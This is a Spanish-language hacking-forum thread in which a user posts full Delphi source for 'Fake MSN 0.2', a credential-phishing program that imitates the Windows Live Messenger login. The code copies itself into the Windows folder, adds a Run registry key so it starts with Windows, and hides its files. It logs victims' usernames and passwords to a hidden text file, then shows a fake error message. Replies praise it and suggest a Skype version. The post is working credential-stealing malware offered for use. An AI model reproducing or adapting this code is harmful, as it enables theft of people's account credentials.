elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  [Delphi] Fake MSN 0.2
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Delphi] Fake MSN 0.2  (Leído 2,342 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Delphi] Fake MSN 0.2
« en: 21 Noviembre 2012, 18:18 pm »

Aca les traigo la nueva version de este Fake MSN hecho en delphi.

Con las siguientes opciones :

  • El programa al cargarse se mueve automaticamente a la carpeta de windows
  • El programa se ejecuta cuando Windows se inicia
  • Se ocultan los archivos relacionados al programa
  • Con poner "doddy" en user y "hackman" en pass en el programa se cargan los logs ocultos

Una imagen



El codigo

Código
  1. {
  2. Fake MSN 0.2
  3. Coded By Doddy H
  4. }
  5.  
  6. unit fake;
  7.  
  8. interface
  9.  
  10. uses
  11.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  12.  Dialogs, jpeg, ExtCtrls, StdCtrls, Registry;
  13.  
  14. type
  15.  TForm1 = class(TForm)
  16.    Image1: TImage;
  17.    Edit1: TEdit;
  18.    Edit2: TEdit;
  19.    Image2: TImage;
  20.    procedure Edit1Click(Sender: TObject);
  21.    procedure Edit2Click(Sender: TObject);
  22.    procedure FormCreate(Sender: TObject);
  23.    procedure Image2Click(Sender: TObject);
  24.  private
  25.    { Private declarations }
  26.  public
  27.    { Public declarations }
  28.  end;
  29.  
  30. var
  31.  Form1: TForm1;
  32.  
  33. implementation
  34.  
  35. {$R *.dfm}
  36.  
  37. procedure TForm1.Edit1Click(Sender: TObject);
  38. begin
  39.  Edit1.Text := '';
  40. end;
  41.  
  42. procedure TForm1.Edit2Click(Sender: TObject);
  43. begin
  44.  Edit2.Text := '';
  45.  Edit2.PasswordChar := '*';
  46. end;
  47.  
  48. procedure TForm1.FormCreate(Sender: TObject);
  49.  
  50. var nombrereal: string;
  51.  rutareal: string;
  52.  yalisto: string;
  53.  her: TRegistry;
  54.  
  55. begin
  56.  
  57.  nombrereal := ExtractFileName(ParamStr(0));
  58.  rutareal := ParamStr(0);
  59.  yalisto := 'C:\WINDOWS\' + nombrereal;
  60.  
  61.  MoveFile(Pchar(rutareal), Pchar(yalisto));
  62.  
  63.  her := TRegistry.Create;
  64.  her.RootKey := HKEY_LOCAL_MACHINE;
  65.  
  66.  her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
  67.  her.WriteString('uber', yalisto);
  68.  her.Free;
  69.  
  70.  SetFileAttributes(PChar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  71.  SetFileAttributes(PChar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);
  72.  
  73. end;
  74.  
  75. procedure TForm1.Image2Click(Sender: TObject);
  76.  
  77. var archivo: TextFile;
  78.  ruta: string;
  79.  
  80. begin
  81.  
  82.  if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
  83.  begin
  84.    WinExec(PChar('notepad c:/windows/datos.txt'), SW_SHOW);
  85.  end
  86.  else
  87.  begin
  88.  
  89.    if Edit1.Text = '' then
  90.    begin
  91.      ShowMessage('Escribe tu Id. de Window Live ID en este formato: tu nombre@ejemplo.com');
  92.    end;
  93.    if Edit2.Text = '' then
  94.    begin
  95.      ShowMessage('Escribe tu contraseña');
  96.    end
  97.    else
  98.    begin
  99.      if Edit2.Text = 'Escribe aqui tu contraseña' then
  100.      begin
  101.        ShowMessage('Escribe tu contraseña');
  102.      end
  103.      else
  104.      begin
  105.        ruta := 'c:/windows/datos.txt'; //mod
  106.        if FileExists(ruta) then
  107.        begin
  108.          AssignFile(archivo, ruta);
  109.          FileMode := fmOpenWrite;
  110.          Append(archivo);
  111.          Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text);
  112.          CloseFile(archivo);
  113.          Application.MessageBox('Se ha producido un error , es necesario reiniciar Window Live Messenger', 'Window Live Messenger', MB_OK);
  114.          Form1.Close;
  115.        end
  116.        else
  117.        begin
  118.          AssignFile(archivo, ruta);
  119.          FileMode := fmOpenWrite;
  120.          ReWrite(archivo);
  121.          Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text);
  122.          CloseFile(archivo);
  123.          Application.MessageBox('Se ha producido un error , es necesario reiniciar Window Live Messenger', 'Window Live Messenger', MB_OK);
  124.          Form1.Close;
  125.        end;
  126.      end;
  127.    end;
  128.  end;
  129.  
  130. end;
  131.  
  132. end.
  133.  
  134. // The End ?
  135.  

Si quieren bajar el proyecto + el programa compilado lo pueden hacer de aca.

Cualquier sugerencia o error diganlo para mejorar (porque el programa en si no me convence xDD).



En línea

Danyfirex


Desconectado Desconectado

Mensajes: 493


My Dear Mizuho


Ver Perfil
Re: [Delphi] Fake MSN 0.2
« Respuesta #1 en: 22 Noviembre 2012, 20:13 pm »

Deberías hacerlo para skype ahora que pasara a la historia.

esta muy guapo


En línea

BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
Re: [Delphi] Fake MSN 0.2
« Respuesta #2 en: 23 Noviembre 2012, 00:20 am »

si , me entere recien lo de skype xDD.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Descarga] CodeGear RAD Studio - Delphi 2007 + Delphi for PHP « 1 2 3 »
Software
GroK 26 26,843 Último mensaje 14 Mayo 2014, 17:51 pm
por sebaseok
anti fake player/botnet/fake bot 2011 cs 1.6
Juegos y Consolas
el_infector 0 4,922 Último mensaje 23 Mayo 2011, 19:01 pm
por el_infector
[Delphi] Fake Skype 0.1
Programación General
BigBear 1 2,122 Último mensaje 5 Septiembre 2013, 23:22 pm
por Mixcoatl
[Delphi] Fake Steam 0.3
Programación General
BigBear 1 2,057 Último mensaje 2 Mayo 2015, 04:45 am
por Eleкtro
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines